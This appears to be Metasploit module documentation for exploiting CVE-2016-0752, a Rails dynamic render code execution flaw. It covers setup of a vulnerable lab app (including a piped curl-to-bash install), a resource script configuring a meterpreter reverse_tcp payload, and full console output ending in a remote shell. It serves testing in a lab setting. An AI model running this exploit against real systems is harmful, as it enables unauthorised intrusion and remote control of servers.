## Intro

Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks.

http://rubyonrails.org/

> This module exploits the rendering vulnerability via a temporary file upload to pop a shell (CVE-2016-0752).

## Setup

**Download and setup the sample vuln application:**

- [ ] `sudo apt-get install -y curl git`
- [ ] `curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=2.3.1`
- [ ] `source ~/.rvm/scripts/rvm`
- [ ] `sudo apt-get install rubygems ruby-dev nodejs zlib1g-dev -y`
- [ ] `gem install rails -v 4.0.8`
- [ ] `git clone https://github.com/forced-request/rails-rce-cve-2016-0752 pwn`
- [ ] `cd pwn`
- [ ] `bundle install`
- [ ] Edit the config/routes.rb file and add `post "users/:id", to: 'user#show'`

Basically, you just need a POST endpoint for the temporary file upload trick. Now you can start the rails server and test the module.

- [ ] `rails s -b 0.0.0.0` or `rails s -b 0.0.0.0 -e production`

## Usage

### Typical Usage

Just set ```RHOST``` and fire off the module! It's pretty much painless.
```set VERBOSE true``` if you want to see details.

```
saturn:metasploit-framework mr_me$ cat scripts/rails.rc 
use exploit/multi/http/rails_dynamic_render_code_exec
set RHOST 172.16.175.251
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 172.16.175.1
check
exploit

saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/rails.rc 
[*] Processing scripts/rails.rc for ERB directives.
resource (scripts/rails.rc)> use exploit/multi/http/rails_dynamic_render_code_exec
resource (scripts/rails.rc)> set RHOST 172.16.175.251
RHOST => 172.16.175.251
resource (scripts/rails.rc)> set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
resource (scripts/rails.rc)> set LHOST 172.16.175.1
LHOST => 172.16.175.1
resource (scripts/rails.rc)> check
[+] 172.16.175.251:3000 The target is vulnerable.
resource (scripts/rails.rc)> exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 172.16.175.1:4444 

[*] Sending initial request to detect exploitability
msf exploit(rails_dynamic_render_code_exec) > [*] 172.16.175.251:3000 - Starting up our web service on http://172.16.175.1:1337/iUDaRVpz ...
[*] Using URL: http://0.0.0.0:1337/iUDaRVpz
[*] Local IP: http://192.168.100.13:1337/iUDaRVpz
[*] uploading image...
[+] injected payload
[*] 172.16.175.251:3000 - Sending the payload to the server...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 172.16.175.251
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.251:41246) at 2016-09-29 17:52:00 -0500
[+] Deleted /tmp/NhhGKCCIgwF

msf exploit(rails_dynamic_render_code_exec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 50809 created.
Channel 1 created.
$ id
uid=1000(student) gid=1000(student) groups=1000(student),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
$
```
